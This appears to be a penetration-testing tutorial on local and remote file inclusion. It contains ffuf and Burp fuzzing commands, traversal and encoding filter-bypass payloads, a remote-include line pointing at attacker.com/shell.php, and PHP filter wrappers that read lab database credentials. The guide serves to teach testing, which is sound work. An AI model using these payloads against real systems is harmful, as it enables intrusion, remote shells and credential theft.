Local and Remote File Inclusion (LFI / RFI)

Concepts

Local File Inclusion (LFI) - including files already present on the target server (e.g. config files with DB credentials, /etc/passwd). Remote File Inclusion (RFI) - including a file from an external location (e.g. attacker-hosted reverse shell), which can lead to arbitrary code execution.

Both happen because the application takes user input and uses it as a file path without proper validation. For example, a ?filename=recipe.txt parameter might be changed to ?filename=../../../etc/passwd.


LFI Attacks

First, determine what the target host is running. High-value targets depend on the OS:

OSFiles to target
Linux/etc/passwd, /etc/hosts, SSH keys, application config files
WindowsC:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts

Tip: For a full list of target files per OS, check PayloadsAllTheThings - File Inclusion.

How to spot it: Look for any parameter that references a file - image sources, recipe links, language selectors, file download endpoints. Open files in a new tab and check the source link. If the URL contains something like ?filename=chocolatecake.txt or ?file=image.png, it’s a candidate.

Steps:

  1. Enable Burp Suite intercept and submit a request that loads a file - observe the parameters and headers.
  2. Save the request: right-click Copy to file e.g. lfi0x01.req
  3. Identify the parameter to fuzz (e.g. filename=image.png)
  4. Replace the target parameter value with FUZZ:
    filename=FUZZ
    
  5. Run ffuf:
    ffuf --request lfi0x01.req --request-proto http -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c -v -fs 1668,1823
  6. Examine the result - look for a response with a different size or status code:
    [Status: 200, Size: 1808, Words: 494, Lines: 47]
      * FUZZ: ../../../../../../etc/passwd&=%3C%3C%3C%3C
    

Alternative - Burp Intruder: You can also use Intruder with the built-in Path Traversal payload list instead of ffuf. Mark the parameter, select the list, and look for outlier response sizes.

Tip: The Jhaddix LFI list already includes many bypass payloads (..././, encoded variants, null bytes), so fuzzing with it covers most filter evasion automatically. But still understand the bypasses below.


Filter Bypass Techniques

TechniqueExampleWhen it works
Basic traversal../../../etc/passwdNo filtering
Non-recursive filter bypass..././..././..././etc/passwdFilter removes ../ once but doesn’t re-check - remaining parts rejoin into ../
URL encoding%2e%2e%2f%2e%2e%2fOld/misconfigured servers that decode before filtering
Double encoding%252e%252e%252fVery old servers (PHP < 5.3), some CTFs
Null byte../../etc/passwd%00PHP < 5.3.4 only - terminates the string so appended extensions are ignored

Non-recursive filter explained: If the server strips ../, then ..././ becomes ../ after stripping. You’re inserting ../ inside another ../ so when the middle part is removed, the outer parts combine back into the traversal pattern.


LFI in API-Driven Applications

Sometimes the file parameter isn’t in the URL - it’s sent via POST body to an API endpoint. You won’t see it in the address bar. Check Burp HTTP history to spot it.

Same approach: capture the request, save to file, replace the parameter with FUZZ, and run ffuf with --request.

Tuning ffuf output: If you get many results with the same word count or size, filter them out:

# Filter by word count
ffuf --request api_req.txt --request-proto http -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c -v -fw 19,20
 
# Filter by response size
ffuf --request api_req.txt --request-proto http -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c -v -fs 1668

Tip: Always pay attention to the content length / response size. A significantly different size from the baseline usually means your payload worked.


Remote File Inclusion Attacks

Same concept as LFI, but instead of pointing the path to a local file, you point it to an external URL. If the application fetches remote resources, you can host a reverse shell or any other malicious file.

filename=https://attacker.com/shell.php

Filter bypasses for RFI:

TechniqueExampleHow it works
Mixed casehTTpS://attacker.comBypass case-sensitive keyword filters
Keyword insertionhthttp://tp://attacker.comIf http is stripped once, the remaining parts form http://

Tip: The same non-recursive filter logic from LFI applies to RFI keyword filters. If the filter removes http but isn’t recursive, inserting http inside http reconstructs the keyword.


PHP Wrappers

PHP wrappers let you read PHP source files that would normally be executed (and therefore invisible to you). The output is base64-encoded - you decode it from your end.

This is powerful because PHP config files often contain database credentials, API keys, hardcoded JWT secrets, or WordPress wp-config.php credentials.

Example - reading a database config file:

curl http://localhost/labs/fi0x02.php?filename=php://filter/read=convert.base64-encode/resource=..././db.php

Note the ..././ bypass in the resource path - combine wrappers with filter bypasses as needed.

Returned base64:

PD9waHAKCiRzZXJ2ZXJuYW1lID0gImJiLWRiIjsKJHVzZXJuYW1lID0gImJiLWxhYnMtdXNlciI7CiRwYXNzd29yZCA9ICJiYi1sYWJzLXBhc3N3b3JkIjsKJGRibmFtZSA9ICJiYi1sYWJzIjsKCiRjb25uID0gbmV3IG15c3FsaSgkc2VydmVybmFtZSwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRkYm5hbWUpOwoKaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7CiAgICBkaWUoIkNvbm5lY3Rpb24gZmFpbGVkOiAiIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOwp9Cg==

Decode it:

echo "PD9waHAK..." | base64 -d
# $servername = "bb-db";
# $username = "bb-labs-user";
# $password = "bb-labs-password";
# $dbname = "bb-labs";

Tip: If you found a JWT token in a previous lab/test that uses a hardcoded secret, you might be able to steal that secret via PHP wrappers and forge your own tokens.


Checklist

Detection

  • Is any parameter loading a file? (filename=, page=, file=, path=, lang=, template=)
  • Is the parameter in the URL or in a POST body? (check Burp HTTP history)
  • What OS is the target running? (determines which files to target)

LFI

  • Can you traverse directories? (../../../etc/passwd)
  • Is the filter recursive? (try ..././..././)
  • Does URL encoding or double encoding bypass the filter?
  • Does null byte injection work? (%00 - PHP < 5.3.4 only)
  • Can you use PHP wrappers to read source code? (php://filter/convert.base64-encode/resource=)

RFI

  • Can you include remote files? (https://attacker.com/shell.php)
  • Does mixed-case protocol bypass the filter? (hTTpS://)
  • Does keyword insertion bypass? (hthttp://tp://)

Escalation

  • Did PHP wrappers reveal DB credentials, API keys, or JWT secrets?
  • Can RFI be used to include a reverse shell?
  • Can LFI read sensitive config files? (wp-config.php, .env, db.php)

Quick Reference

WhatTool / Resource
Fuzz for LFIffuf with LFI-Jhaddix.txt from SecLists
Alternative fuzzingBurp Intruder with Path Traversal payload list
Payload referencePayloadsAllTheThings - File Inclusion
Decode base64echo "BASE64" | base64 -d
PHP wrapper syntaxphp://filter/read=convert.base64-encode/resource=TARGET